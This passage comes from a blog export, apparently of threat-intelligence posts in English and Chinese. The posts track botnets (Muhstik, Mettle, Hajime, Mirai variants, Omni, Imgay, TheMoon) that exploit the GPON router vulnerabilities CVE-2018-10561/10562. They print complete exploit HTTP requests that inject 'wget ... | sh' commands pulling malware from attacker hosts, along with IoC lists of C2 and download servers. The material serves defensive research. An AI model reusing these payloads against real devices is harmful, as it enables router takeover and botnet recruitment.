[report-2018-01](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/) ). We observed that Satori also added GPON vulnerability exploit in the latest update.\n\nWe will focus on muhstik botnet in this blog.\n\n#### Introduction to Muhstik Botnet\n\n\n\nThe above figure illustrates the structure of Muhstik botnet:\n \n - **Scanning phase**：**muhstik.scanner** will initiate scanning and exploit the vulnerability to force vulnerable GPON devices to report status to the reporting server;\n - **Infection phase**：**muhstik.infector** will exploit vulnerability to force GPON susceptible devices to download malware from the download server and install it.\n - **Control phase**：**muhstik.c2.list** will send commands to its bots and request them to launch scanning, SSH scale-out, xmrig Mining, cgminer mining, or DDoS attacks.\n\n#### Muhstik Botnet Update - Scan Phase\n\nIn this round, muhstik has added 3 new exploits, as follows:\n\n1. Gpon（CVE-2018-10561 & CVE-2018-10562）\n2. JBoss（CVE-2007-1036）\n3. DD-WRT（web 认证爆破）\n\nThe corresponding state report URLs are as follows:\n```\nhxxp://51.254.219.134/gpon.php?port=80|8080 #GPON RCE\nhxxp://51.254.219.134/jboss.php #JBoss\nhxxp://51.254.219.134/ddwrt.php #DD-WRT\n```\n\nAs the report server (51.254.219.134) is shut down by the security community, the report server IP address is updated to 165.227.78.159\n\nNow the report URLs are:\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080\nhxxp://128.199.251.119/gpon.php?port=80|8080\n```\n\n#### Muhstik Botnet Update - Implant Phase\n\nDuring the implant phase, muhstik will try to force the targeted GPON device to download muhstik.tsunami malicious code and muhstik.aioscan scanning module. The muhstik.loader IP address stayed 51.254.219.137.\n\nThe scaning payloads for the Gpon are：\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: text/plain\nContent-length: 121\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&ipv=0\n```\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like\nGecko) Chrome/4.0.222.4 Safari/532.2\nContent-Length: 113\nContent-Type: text/plain; charset=ISO-8859-1\nHost: {target}\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&ipv=0\n```\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206\nUbuntu/10.10 (maverick) Firefox/3.6.13\nContent-Length: 112\nContent-Type: text/plain; charset=ISO-8859-1\nHost: {target}\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&ipv=0\n```\n\n#### Muhstik Botnet Update - Malicious Samples\n\nGpon and JBOSS exploits are burried in the aiomips sample (5C55D50C10F2B500B0FBCD4ADE2B18EA):\n\n\n\n\nWhile DD-WRT exploit is in aioarm sample（b9c8c709c89b2f9d864aa21164d25752）\n\n\n\n#### Joint Actions with Security Community and Follow Ups\n\nBy May 9, we took joint action with security community to shut down part of Muhstik servers, slightly slowed its expansion, including:\n\n```\n51.254.219.134\t\"AS16276 OVH SAS\"\n191.238.234.227\t\"AS8075 Microsoft Corporation\"\n```\n\nHowever, the pace of muhstik expansion did not stop. Currently (2018-05-10 10:30 gmt+8), We observed that it enabled a new report server 165.227.78.159 to replace the old, closed one.\nWe are taking follow-up action together with the security community.\n\nNew malicious software URL\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php #report URL\nhxxp://162.243.211.204/gponexec # muhstik.tsunami download URL\n```\n\n#### IoC - muhstik\nState Report URL List\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080\nhxxp://128.199.251.119/gpon.php?port=80|8080\n```\n\nMalware Download URL List\n```\nhxxp://162.243.211.204/aio\nhxxp://162.243.211.204/gpon\nhxxp://162.243.211.204/nsshpftp\nhxxp://162.243.211.204/nsshcro\nhxxp://162.243.211.204/aiomips\nhxxp://210.245.26.180/arm\nhxxp://46.243.189.102/\nhxxp://162.243.211.204/gponexec\nhxxp://51.254.221.129/c/cron \nhxxp://51.254.221.129/c/tfti \nhxxp://51.254.221.129/c/pftp \nhxxp://51.254.221.129/c/ntpd \nhxxp://51.254.221.129/c/sshd \nhxxp://51.254.221.129/c/bash \nhxxp://51.254.221.129/c/pty \nhxxp://51.254.221.129/c/shy \nhxxp://51.254.221.129/c/nsshtfti \nhxxp://51.254.221.129/c/nsshcron \nhxxp://51.254.221.129/c/nsshpftp \nhxxp://51.254.221.129/c/fbsd \n```\n\nC2 List\n```\n139.99.101.96:9090 AS16276 OVH SAS \n144.217.84.99:9090 AS16276 OVH SAS \n145.239.84.0:9090 AS16276 OVH SAS \n147.135.210.184:9090 AS16276 OVH SAS \n142.44.163.168:9090 AS16276 OVH SAS \n192.99.71.250:9090 AS16276 OVH SAS \n142.44.240.14:9090 AS16276 OVH SAS \n121.128.171.44:9090 AS4766 Korea Telecom #Not active now \n66.70.190.236:9090 AS16276 OVH SAS #Not active now \n145.239.93.125:9090 AS16276 OVH SAS \nirc.de-zahlung.eu:9090 #Not active now \n```\n\nAll IP list\n```\n121.128.171.44:9090 AS4766 Korea Telecom #Not active now \n139.99.101.96:9090 AS16276 OVH SAS \n142.44.163.168:9090 AS16276 OVH SAS \n142.44.240.14:9090 AS16276 OVH SAS \n144.217.84.99:9090 AS16276 OVH SAS \n145.239.84.0:9090 AS16276 OVH SAS \n145.239.93.125:9090 AS16276 OVH SAS \n147.135.210.184:9090 AS16276 OVH SAS \n162.243.211.204\t\"AS62567 DigitalOcean, LLC\"\n165.227.78.159\t\"AS14061 DigitalOcean, LLC\"\n192.99.71.250:9090 AS16276 OVH SAS \n210.245.26.180\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n46.243.189.102\t\"AS205406 Hostio Solutions B.V.\"\n51.254.221.129\t\"AS16276 OVH SAS\"\n66.70.190.236:9090 AS16276 OVH SAS #Not active now \nirc.de-zahlung.eu:9090 #Not active now \n51.254.219.137\t\"AS16276 OVH SAS\"\n```\n\nThose IPs once under muhstik's control, but now cleared by the security community\n```\n51.254.219.134\t\"AS16276 OVH SAS\"\n191.238.234.227\t\"AS8075 Microsoft Corporation\"\n```\n\n#### IoC - mettle\nC2 and Scanner\n```\n210.245.26.180\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n118.70.80.143\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

118

post

2018-05-16T10:21:29.000Z

63873b9a8b1c1e0007f52f26

gpon-exploit-in-the-wild-iii-mettle-hajime-mirai-omni-imgay

2018-10-06T09:07:11.000Z

public

published

2018-05-18T11:44:23.000Z

GPON 漏洞的在野利用（三）——Mettle、Hajime、Mirai、Omni、Imgay、TheMoon

<!--kg-card-begin: markdown--><p>本文由 Hui Wang、LIU Ya、RootKiter、yegenshen 共同撰写。</p> <p>[更新 2018-05-21 17：30]</p> <pre><code>这场GPON的聚会看起来永远不会结束了，现在 TheMoon 僵尸网络家族也开始加入了。文中增加了相关的描述。特别值得说明的，TheMoon僵尸网络所使用的攻击漏洞此前并没有批露过，看起来像是个 0day，我们选择不公开攻击载荷的详细内容。另外我们选择了两个版本的 GPON 家用路由器，TheMoon使用的攻击载荷均能成功运行。 </code></pre> <p>我们在之前的系列文章 <a href="__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/">一</a> 和 <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/">二</a> 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori，等等。这些各路僵尸网络一拥而上，争抢地盘，w为 IoT 僵尸网络研究者们提供了一个绝佳的近距离观察机会。</p> <p>在我们的观察中，一个有趣的地方是各僵尸网络的漏洞利用代码均只能影响一小部分（估计大约 2%） GPON 家用路由器。如此一来，最终被控制的设备数量大大减少，广大 GPON 家用路由器用户暂且躲过一劫。但是管理员们仍需保持警惕，在现有条件下，各恶意代码团伙正保持积极的开发活动，其代码修正只需要很短的时间。</p> <p>我们360网络安全研究院在保持观察的同时，也与安全社区一起，采取了行动抑制 muhstik 僵尸网络的扩散。但是 muhstik 恶意代码团伙并不愿意轻易放弃，他们一次次尝试卷土重来。后续发展，还请读者拭目以待。</p> <p>在本篇文章里，我们会依次介绍其他的僵尸网络：</p> <ul> <li><strong>Mettle</strong>：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块</li> <li><strong>Hajime</strong>：<strong>Hajime</strong>的本次更新也包含了 GPON 本次的漏洞利用</li> <li><strong>两个Mirai变种</strong>：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">omni</a>。</li> <li><strong>Imgay</strong>：这看起来是一个正在开发中的僵尸网络，我们只观察到了下载行为，没有看到后续动作。</li> <li><strong>TheMoon</strong>: <strong>TheMoon</strong> 家族我们在之前的 <a href="__GHOST_URL__/themoon-botnet-a-review-and-new-features/">文章</a> 中提到过。该恶意代码家族至少在2014年就开始活跃，当时针对Linksys E1000 系列路由器，并在后续持续发展。从2017年开始，该恶意代码继续集成了至少 6 种6 种 IoT 设备漏洞利用手段。现在，2018-05-21，TheMoon家族加入了 GPON 设备的争夺大战。</li> </ul> <h4 id="mettle">Mettle</h4> <p>mettle，这个恶意代码团伙的C2，如我们之前提及，在这一波的攻击中，短暂出现后就下线了。这个恶意代码团伙的特征包括：</p> <ul> <li><strong>扫描器IP</strong> : 118.70.80.143 Vietnam/VN Hanoi &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;</li> <li><strong>C2服务器</strong>: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;</li> <li><strong>下载服务器</strong>：利用了上述C2服务器的 80 端口</li> <li><strong>恶意软件（下载器）样本hash</strong>: 8e2c6a92a024f8b8bb3c086b86fa50f9</li> <li>上述下载器会下载<strong>开源渗透测试工具mettle</strong>，一个metasploit的衍生版本，随后目标设备会被C2服务器远程控制</li> </ul> <p>另外，当完成漏洞利用后，控制者还会修改 Gpon 路由器原有iptables 规则，封堵 TCP 80 和 443 端口流量。通常可以认为这是恶意代码在试图阻止其他恶意代码的进入。部分 iptables 规则如下示例：</p> <pre><code>-A ACL -p tcp -m tcp --dport 80 -j DROP -A ACL -p tcp -m tcp --dport 23 -j DROP -A ACL -p tcp -m tcp --dport 22 -j DROP -A ACL -p tcp -m tcp --dport 21 -j DROP -A ACL -p tcp -m tcp --dport 443 -j DROP </code></pre> <p>我们并未直接观察到 mettle 的攻击载荷，但是我们注意到该IP地址在历史曾经与其他恶意代码相关。有兴趣的读者可以尝试继续展开搜索。</p> <h4 id="hajime">Hajime</h4> <p>Hajime 家族本次更新的特征包括：</p> <ul> <li><strong>文件名</strong>：atk.mipseb.1525838286</li> <li><strong>原始Hash</strong>: 8CCA32FB1FE4826007B087B4AEE20941</li> <li><strong>脱壳前Hash</strong>: ED1306E24196533553571D5433312A2D</li> <li><strong>脱壳后Hash</strong>: E06E1E7993EA310CE0FBA9DD76CDF377</li> <li><strong>端口目标</strong>：23,80,8080</li> <li><strong>新的 Payload(GPON)</strong>：hxxps://www.exploit-db.com/exploits/44576/</li> </ul> <p>该样本中的GPON漏洞利用代码截图如下：<br> <img src="__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated.png" alt="" loading="lazy"></p> <p>更新后的 atk.mpseb 模块可以同时对 TCP 23，80，8080 发起扫描：<br> <img src="__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated-scanning-port.png" alt="" loading="lazy"></p> <h4 id="mirai1">Mirai 变种 1</h4> <p>该mirai变种的特征包括：</p> <ul> <li>扫描器IP : 46.243.189.60 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot;</li> <li>C2服务器: 46.243.189.102:127 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot;</li> <li>下载服务器：共用了上述IP地址的 80 端口</li> <li>恶意软件样本hash: c6dc9f7cf09a267fefe53c5c481e7ea0</li> </ul> <p>所使用的攻击载荷如下：</p> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: {target} Accept: */* Content-Length: 138 Content-Type: application/x-www-form-urlencoded XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&amp;ipv=0 </code></pre> <p>这个mirai变种对应的 C2 服务器已经长期被我们监控。这个C2会发出DDoS攻击指令，并且比较活跃。我们首次监控到其发出DDoS攻击指令的时间是 2018-01-26 13:10:20。下图是其每日发出的攻击指令的条数变化曲线：</p> <p><img src="__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command.png" alt="" loading="lazy"></p> <p>受害者方面，由于其攻击指令较多，我们仅列出部分流行的站点，包括：check-host.net，incapsula.com，moz.com，opskins.com，pastebin.com，roblox.com，seznam.cz，store.playstation.com，www.kinguin.net，等等。</p> <p><img src="__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command-detail.png" alt="" loading="lazy"></p> <h4 id="mirai2omni">Mirai 变种 2 - Omni</h4> <p>newskysecurity 的研究员已经将该变种命名为 <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">omni</a>，其描述与我们的观察比较一致。</p> <p>在本轮攻击中，omni使用的攻击载荷是：</p> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 Host: {target} Content-Length: 120 User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1 Connection: keep-alive Accept: */* Accept-Encoding: gzip, deflate XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&amp;ipv=0 </code></pre> <p>该僵尸网络的特征包括：</p> <ul> <li>下载服务器 URL ：hxxp://185.246.152.173/omni</li> <li>C2 服务器：185.246.152.173:1000</li> <li>Scanner IP 地址：51.15.106.135</li> </ul> <p>历史上该C2就传播过多个mirai变种，包括owari、xOwari、s-owari、sora、omni。并且该C2编译的mirai变种支持多种CPU架构，除了通常 mirai 变种都支持的 arm、mips、mpsl、mipsl、x86、spc之外，还支持了之前社区广泛关注的 arc CPU架构。</p> <p>另外一个有趣的地方是该僵尸网络对外界传递的两条信息。一条信息保存在该服务器上（hxxp://185.246.152.173/meme）。当前该URL已经不可访问，其历史截图如下。图片主体由知名安全博客博主 <a href="https://krebsonsecurity.com/">brian krebs</a> 的头像与电影《黑客帝国》剧照合并而成：<br> <img src="__GHOST_URL__/content/images/2018/05/omni-krebs-gmail.png" alt="" loading="lazy"></p> <p>页面的文字内容如下。其中包含一个邮件地址 <a href="mailto:[email protected]">[email protected]</a>，注意这并非是 Brian Krebs 本人的邮箱地址。</p> <pre><code>Hey you, stop right there! Want your router fixed? No problem! Send an email to [email protected] and we will have it fixed asap! ~ scarface is your daddy ~ </code></pre> <p>另一条信息保存在样本中，留下了一个twitter帐号 @1337Wicked :<br> <img src="__GHOST_URL__/content/images/2018/05/sora-author-info.png" alt="" loading="lazy"></p> <pre><code>md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8 message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter </code></pre> <h4 id="imgay">Imgay</h4> <p>Imgay 是另外一个僵尸网络，其传播的恶意代码 URL 如下：</p> <pre><code>hxxp://149.28.96.126/imgay </code></pre> <p>该恶意代码会访问如下地址，但之后该恶意代码就结束了，没有看到后续活动。</p> <pre><code>wget hxxp://149.28.96.126/loaded/killy &gt; /dev/null 2&gt;&amp;1 wget hxxp://149.28.96.126/pid_max/%s &gt; /dev/null 2&gt;&amp;1 wget hxxp://149.28.96.126/pid_max/default &gt; /dev/null 2&gt;&amp;1 wget hxxp://149.28.96.126/killed/%i &gt; /dev/null 2&gt;&amp;1 </code></pre> <h4 id="themoon">The Moon 僵尸网络家族</h4> <p>关于该僵尸网络可以阅读我们之前的 <a href="__GHOST_URL__/themoon-botnet-a-review-and-new-features/">文章</a> 。由于我们之前提过，TheMoon使用的这个漏洞一定程度上可以算过 0day，各管理员需要特别注意该家族。出于避免漏洞扩散的原因，我们暂时不会公开这个攻击载荷的详细信息。</p> <p>该恶意家族的特征包括：</p> <ul> <li><strong>Scanner IP</strong>: 177.141.64.108 Brazil/BR São Paulo &quot;AS28573 CLARO S.A.&quot;</li> <li><strong>扫描端口</strong>：80，8080，81，82，8888</li> <li><strong>下载服务器</strong>:domstates.su ，我们使用该域名将本次攻击与 TheMoon 家族联系起来</li> </ul> <p>攻击载荷</p> <pre><code>POST /--------/--------?---------/ HTTP/1.1 Accept: */* Host: {} User-Agent: Wget(linux) Content-Length: 287 Content-Type: application/x-www-form-urlencoded ------------------------------------------------------------- hxxp://domstates.su/gpon.sh </code></pre> <h4 id="">联系我们</h4> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p> <h4 id="ioc">Ioc</h4> <p>Mettle</p> <pre><code>118.70.80.143 Vietnam/VN Hanoi &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; scanner IP 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; c2 8e2c6a92a024f8b8bb3c086b86fa50f9 malware hash </code></pre> <p>Hajime</p> <pre><code>atk.mipseb.1525838286 file name 8CCA32FB1FE4826007B087B4AEE20941 hash original ED1306E24196533553571D5433312A2D hash before unpack E06E1E7993EA310CE0FBA9DD76CDF377 hash after unpack </code></pre> <p>Mira variant #1</p> <pre><code>46.243.189.60 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot; scanner IP 46.243.189.102:127 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot; C2 ip c6dc9f7cf09a267fefe53c5c481e7ea0 malware hash </code></pre> <p>Omni</p> <pre><code>185.246.152.173:1000 Netherlands/NL &quot;AS56630 Melbikomas UAB&quot; C2 51.15.106.135 France/FR &quot;AS12876 Online S.a.s.&quot; scanner IP hxxp://185.246.152.173/omni malware download URL </code></pre> <p>Omni 的历史恶意代码下载链接</p> <pre><code>hxxp://185.246.152.173:80/bins/spc.omni hxxp://185.246.152.173:80/bins/sora.spc hxxp://185.246.152.173:80/bins/sora.sh4 hxxp://185.246.152.173:80/bins/sora.arm6 hxxp://185.246.152.173:80/bins/sora.arm5 hxxp://185.246.152.173:80/bins/s-owari.spc hxxp://185.246.152.173:80/bins/s-owari.mpsl hxxp://185.246.152.173:80/bins/s-owari.m68k hxxp://185.246.152.173:80/bins/s-owari.arm hxxp://185.246.152.173:80/bins/s-owari.arm7 hxxp://185.246.152.173:80/bins/s-owari.arc hxxp://185.246.152.173:80/bins/owari.x86 hxxp://185.246.152.173:80/bins/owari.spc hxxp://185.246.152.173:80/bins/owari.mpsl hxxp://185.246.152.173:80/bins/owari.mips hxxp://185.246.152.173:80/bins/owari.i586 hxxp://185.246.152.173:80/bins/owari.arm hxxp://185.246.152.173:80/bins/owari.arm7 hxxp://185.246.152.173:80/bins/owari.arm5 hxxp://185.246.152.173:80/bins/owari.arm4 hxxp://185.246.152.173:80/bins/mpsl.omni hxxp://185.246.152.173:80/bins/mips.owari hxxp://185.246.152.173:80/bins/mips.omni hxxp://185.246.152.173:80/bins/arm7.omni hxxp://185.246.152.173:80/bins/arm6.omni hxxp://185.246.152.173:80/bins/arc.omni hxxp://185.246.152.173:80/bins/Owari.x86 hxxp://185.246.152.173:80/bins/Owari.spc hxxp://185.246.152.173:80/bins/Owari.sh4 hxxp://185.246.152.173:80/bins/Owari.mpsl hxxp://185.246.152.173:80/bins/Owari.mips1 hxxp://185.246.152.173:80/bins/Owari.m68k hxxp://185.246.152.173:80/bins/Owari.arm7 hxxp://185.246.152.173:80/bins/Owari.arm6 hxxp://185.246.152.173/xOwari.sh hxxp://185.246.152.173/bins/x86.omni hxxp://185.246.152.173/bins/scan.x86 hxxp://185.246.152.173/bins/s-owari.ppc hxxp://185.246.152.173/bins/s-owari.mpsl hxxp://185.246.152.173/bins/s-owari.arm hxxp://185.246.152.173/bins/s-owari.arm7 hxxp://185.246.152.173/bins/owari.spc hxxp://185.246.152.173/bins/owari.sh4 hxxp://185.246.152.173/bins/owari.mips hxxp://185.246.152.173/bins/owari.m68k hxxp://185.246.152.173/bins/owari.arm hxxp://185.246.152.173/bins/owari.arm7 hxxp://185.246.152.173/bins/nocpu.x86 hxxp://185.246.152.173/bins/nocpu.mips hxxp://185.246.152.173/41ai.sh </code></pre> <p>TheMoon</p> <pre><code>md5=17fb1bfae44a9008a4c9b4bdc6b327bd url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z md5=299919e8a5b4c8592db0c47207935b69 url=hxxp://domstates.su/gpon.sh </code></pre> <!--kg-card-end: markdown-->

本文由 Hui Wang、LIU Ya、RootKiter、yegenshen 共同撰写。 [更新 2018-05-21 17：30] 这场GPON的聚会看起来永远不会结束了，现在 TheMoon 僵尸网络家族也开始加入了。文中增加了相关的描述。特别值得说明的，TheMoon僵尸网络所使用的攻击漏洞此前并没有批露过，看起来像是个 0day，我们选择不公开攻击载荷的详细内容。另外我们选择了两个版本的 GPON 家用路由器，TheMoon使用的攻击载荷均能成功运行。 我们在之前的系列文章 一 和 二 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori，等等。这些各路僵尸网络一拥而上，争抢地盘，w为 IoT 僵尸网络研究者们提供了一个绝佳的近距离观察机会。 在我们的观察中，一个有趣的地方是各僵尸网络的漏洞利用代码均只能影响一小部分（估计大约 2%） GPON 家用路由器。如此一来，最终被控制的设备数量大大减少，广大 GPON 家用路由器用户暂且躲过一劫。但是管理员们仍需保持警惕，在现有条件下，各恶意代码团伙正保持积极的开发活动，其代码修正只需要很短的时间。 我们360网络安全研究院在保持观察的同时，也与安全社区一起，采取了行动抑制 muhstik 僵尸网络的扩散。但是 muhstik 恶意代码团伙并不愿意轻易放弃，他们一次次尝试卷土重来。后续发展，还请读者拭目以待。 在本篇文章里，我们会依次介绍其他的僵尸网络： * Mettle：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块 * Hajime：Hajime的本次更新也包含了 GPON 本次的漏洞利用 * 两个Mirai变种：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 omni。 * Imgay：这看起来是一个正在开发中的僵尸网络，我们只观察到了下载行为，没有看到后续动作。 * TheMoon: TheMoon 家族我们在之前的 文章 中提到过。该恶意代码家族至少在2014年就开始活跃，当时针对Linksys E1000 系列路由器，并在后续持续发展。从2017年开始，该恶意代码继续集成了至少 6 种6 种 IoT 设备漏洞利用手段。现在，2018-05-21，TheMoon家族加入了 GPON 设备的争夺大战。 Mettle mettle，这个恶意代码团伙的C2，如我们之前提及，在这一波的攻击中，短暂出现后就下线了。这个恶意代码团伙的特征包括： * 扫描器IP : 118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology" * C2服务器: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology" * 下载服务器：利用了上述C2服务器的 80 端口 * 恶意软件（下载器）样本hash: 8e2c6a92a024f8b8bb3c086b86fa50f9 * 上述下载器会下载开源渗透测试工具mettle，一个metasploit的衍生版本，随后目标设备会被C2服务器远程控制 另外，当完成漏洞利用后，控制者还会修改 Gpon 路由器原有iptables 规则，封堵 TCP 80 和 443 端口流量。通常可以认为这是恶意代码在试图阻止其他恶意代码的进入。部分 iptables 规则如下示例： -A ACL -p tcp -m tcp --dport 80 -j DROP -A ACL -p tcp -m tcp --dport 23 -j DROP -A ACL -p tcp -m tcp --dport 22 -j DROP -A ACL -p tcp -m tcp --dport 21 -j DROP -A ACL -p tcp -m tcp --dport 443 -j DROP 我们并未直接观察到 mettle 的攻击载荷，但是我们注意到该IP地址在历史曾经与其他恶意代码相关。有兴趣的读者可以尝试继续展开搜索。 Hajime Hajime 家族本次更新的特征包括： * 文件名：atk.mipseb.1525838286 * 原始Hash: 8CCA32FB1FE4826007B087B4AEE20941 * 脱壳前Hash: ED1306E24196533553571D5433312A2D * 脱壳后Hash: E06E1E7993EA310CE0FBA9DD76CDF377 * 端口目标：23,80,8080 * 新的 Payload(GPON)：hxxps://www.exploit-db.com/exploits/44576/ 该样本中的GPON漏洞利用代码截图如下： 更新后的 atk.mpseb 模块可以同时对 TCP 23，80，8080 发起扫描： Mirai 变种 1 该mirai变种的特征包括： * 扫描器IP : 46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V." * C2服务器: 46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V." * 下载服务器：共用了上述IP地址的 80 端口 * 恶意软件样本hash: c6dc9f7cf09a267fefe53c5c481e7ea0 所使用的攻击载荷如下： POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: {target} Accept: */* Content-Length: 138 Content-Type: application/x-www-form-urlencoded XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0 这个mirai变种对应的 C2 服务器已经长期被我们监控。这个C2会发出DDoS攻击指令，并且比较活跃。我们首次监控到其发出DDoS攻击指令的时间是 2018-01-26 13:10:20。下图是其每日发出的攻击指令的条数变化曲线： 受害者方面，由于其攻击指令较多，我们仅列出部分流行的站点，包括：check-host.net，incapsula.com，moz.com，opskins.com，pastebin.com，roblox.com，seznam.cz，store.playstation.com，www.kinguin.net，等等。 Mirai 变种 2 - Omni newskysecurity 的研究员已经将该变种命名为 omni，其描述与我们的观察比较一致。 在本轮攻击中，omni使用的攻击载荷是： POST /GponForm/diag_Form?images/ HTTP/1.1 Host: {target} Content-Length: 120 User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1 Connection: keep-alive Accept: */* Accept-Encoding: gzip, deflate XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0 该僵尸网络的特征包括： * 下载服务器 URL ：hxxp://185.246.152.173/omni * C2 服务器：185.246.152.173:1000 * Scanner IP 地址：51.15.106.135 历史上该C2就传播过多个mirai变种，包括owari、xOwari、s-owari、sora、omni。并且该C2编译的mirai变种支持多种CPU架构，除了通常 mirai 变种都支持的 arm、mips、mpsl、mipsl、x86、spc之外，还支持了之前社区广泛关注的 arc CPU架构。 另外一个有趣的地方是该僵尸网络对外界传递的两条信息。一条信息保存在该服务器上（hxxp://185.246.152.173/meme）。当前该URL已经不可访问，其历史截图如下。图片主体由知名安全博客博主 brian krebs 的头像与电影《黑客帝国》剧照合并而成： 页面的文字内容如下。其中包含一个邮件地址 [email protected]，注意这并非是 Brian Krebs 本人的邮箱地址。 Hey you, stop right there! Want your router fixed? No problem! Send an email to [email protected] and we will have it fixed asap! ~ scarface is your daddy ~ 另一条信息保存在样本中，留下了一个twitter帐号 @1337Wicked : md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8 message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter Imgay Imgay 是另外一个僵尸网络，其传播的恶意代码 URL 如下： hxxp://149.28.96.126/imgay 该恶意代码会访问如下地址，但之后该恶意代码就结束了，没有看到后续活动。 wget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1 wget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1 wget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1 wget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1 The Moon 僵尸网络家族 关于该僵尸网络可以阅读我们之前的 文章 。由于我们之前提过，TheMoon使用的这个漏洞一定程度上可以算过 0day，各管理员需要特别注意该家族。出于避免漏洞扩散的原因，我们暂时不会公开这个攻击载荷的详细信息。 该恶意家族的特征包括： * Scanner IP: 177.141.64.108 Brazil/BR São Paulo "AS28573 CLARO S.A." * 扫描端口：80，8080，81，82，8888 * 下载服务器:domstates.su ，我们使用该域名将本次攻击与 TheMoon 家族联系起来 攻击载荷 POST /--------/--------?---------/ HTTP/1.1 Accept: */* Host: {} User-Agent: Wget(linux) Content-Length: 287 